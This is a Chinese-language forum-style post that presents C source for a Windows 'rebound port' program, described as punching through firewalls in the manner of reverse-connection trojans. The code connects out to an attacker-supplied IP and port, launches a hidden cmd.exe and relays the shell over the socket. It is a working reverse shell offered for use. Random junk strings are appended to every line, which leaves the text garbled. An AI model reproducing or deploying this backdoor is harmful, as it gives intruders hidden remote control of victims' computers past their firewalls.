这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7p,!<X}%
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/* ============================== 1=Q3WMT
Rebound port in Windows NT IZ+ZIR@}ci
By wind,2006/7 {>>Gc2UT
===============================*/ x% Eu.jj
#include p87VJ}
#include 2aW"t.[j
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#pragma comment(lib,"wsock32.lib") -r6LndQs
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void OutputShell(); WR4 \dsgCU
SOCKET sClient; JA^Y:@<{/
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4B@L<Rl{\
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void main(int argc,char **argv) C)0JcM
{ U~{sJwB
WSADATA stWsaData; y Ide]
int nRet; 7Ust7%
SOCKADDR_IN stSaiClient,stSaiServer; Q
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if(argc != 3) 0p ZX _L'
{ _cXLQ)-
printf("Useage:\n\rRebound DestIP DestPort\n"); w]VdIS
return; wLH[rwPr
} n$(_(&
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WSAStartup(MAKEWORD(2,2),&stWsaData); G+f@m,
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;/.XAxkFL
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stSaiClient.sin_family = AF_INET; L\H,cimN
stSaiClient.sin_port = htons(0); i.*Utm`1"e
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hKYA 5]
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ue)8g#
{ [1 gWc`#
printf("Bind Socket Failed!\n"); gdyP,zMD7
return; uWKc
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} or1D
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stSaiServer.sin_family = AF_INET; y%x2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RA~%Cw4t
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); t9B]V
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @9<MW
{ l~V^
printf("Connect Error!"); 4RV5:&ALLS
return; @.Pe.\Z
} MH,vn</Uw
OutputShell(); J 4E G
} wx|eO[14
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void OutputShell() @<
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{ n/fMq,<8
char szBuff[1024]; I?mU _^no
SECURITY_ATTRIBUTES stSecurityAttributes; E#=slj@
OSVERSIONINFO stOsversionInfo; y84=Q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `_{^&W
WS
STARTUPINFO stStartupInfo; h)qapC5z,
char *szShell; |?Z;tAF!
PROCESS_INFORMATION stProcessInformation; cR+9^DzA
unsigned long lBytesRead; wv8WqYV
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i|5 K4Puu
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =gb.%a{R
stSecurityAttributes.lpSecurityDescriptor = 0; M"eiKX
stSecurityAttributes.bInheritHandle = TRUE; wtDy-H n
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |3?q L
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O)qedy*&
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \)?[1b&[_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \?_eQKiZ3
stStartupInfo.wShowWindow = SW_HIDE; H *gF>1
stStartupInfo.hStdInput = hReadPipe; G#&R/Tc5N
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >d&_e[j
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GetVersionEx(&stOsversionInfo); gZ*8F|sg
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switch(stOsversionInfo.dwPlatformId) .OHjn|
{ DV(^h$1_
case 1: 4{d!}R
szShell = "command.com"; p<\yp<g
break; `4&
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default: OE(Z)|LF
szShell = "cmd.exe"; D<zgs2Ex
break; _[8BAm
} 4
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NX^%a1D!
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send(sClient,szMsg,77,0); t7#C&B
while(1) xe;1D'(
{ 'G!w0yF
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c[4H
if(lBytesRead) g_\U-pzr
{ 6_a42#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hVe@:1og#
send(sClient,szBuff,lBytesRead,0); 8kz7*AO
} Q]7Rqslz
else opK=Z
{ Ldnw1xy
lBytesRead=recv(sClient,szBuff,1024,0); 2-9'zN0u
if(lBytesRead<=0) break; ]urrAIK
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1'dL8Y
} *7'}"@@
} `k}
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return; G'/36M@
}